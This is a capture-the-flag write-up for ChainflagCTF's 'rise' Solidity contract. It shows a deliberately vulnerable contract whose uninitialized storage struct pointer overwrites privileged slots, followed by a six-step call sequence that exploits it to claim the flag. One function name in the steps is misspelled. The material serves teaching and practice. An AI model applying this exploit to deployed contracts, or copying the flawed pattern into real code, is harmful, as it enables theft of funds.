13.storage @rise
2023-07-13 16:28:28 # 02.ChainflagCTF

storage(rise)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
pragma solidity ^0.4.2;
contract rise {
address referee;
uint secret;
uint bl;
mapping(address => uint) public balance;
mapping(address => uint) public gift;
address owner;

struct hacker {
address hackeraddress;
uint value;
}

constructor()public{
owner = msg.sender;
referee = msg.sender;
balance[msg.sender]=10000000;
bl=1;
secret=18487187377722;
}
event SendFlag(string b64email);

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

modifier onlyRefer(){
require(msg.sender == referee);
_;
}

function payforflag(string b64email) public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
bl=1;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}

function airdrop() public
{
require(gift[msg.sender]==0);
gift[msg.sender]==1;
balance[msg.sender]+=1;
}

function deposit() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
}

function set_secret(uint target_secret) public onlyOwner
{
secret=target_secret;
}

function set_bl(uint target_bl) public onlyRefer
{
bl=target_bl;
}

function risegame(uint guessnumber) public payable
{
require(balance[msg.sender]>0);
uint geteth=msg.value/1000000000000000000;
if (guessnumber==secret)
{
balance[msg.sender]+=geteth*bl;
bl=1;
}
else
{
balance[msg.sender]=0;
bl=1;
}
}

function transferto(address to) public
{
require(balance[msg.sender]>0);
if (to !=0)
{
balance[to]=balance[msg.sender];
balance[msg.sender]=0;
}
else
{
hacker storage h;
h.hackeraddress=msg.sender;
h.value=balance[msg.sender];
balance[msg.sender]=0;
}
}

}

analyses

Uninitialized struct pointer

  1. call airdrop()
  2. call transferto(0x0000000000000000000000000000000000000000)
  3. call set_bl(9999999999999999999)
  4. call deposit() with 1 ether
  5. call risegame(1) with 1 ether
  6. call payforflat("successfully")

solve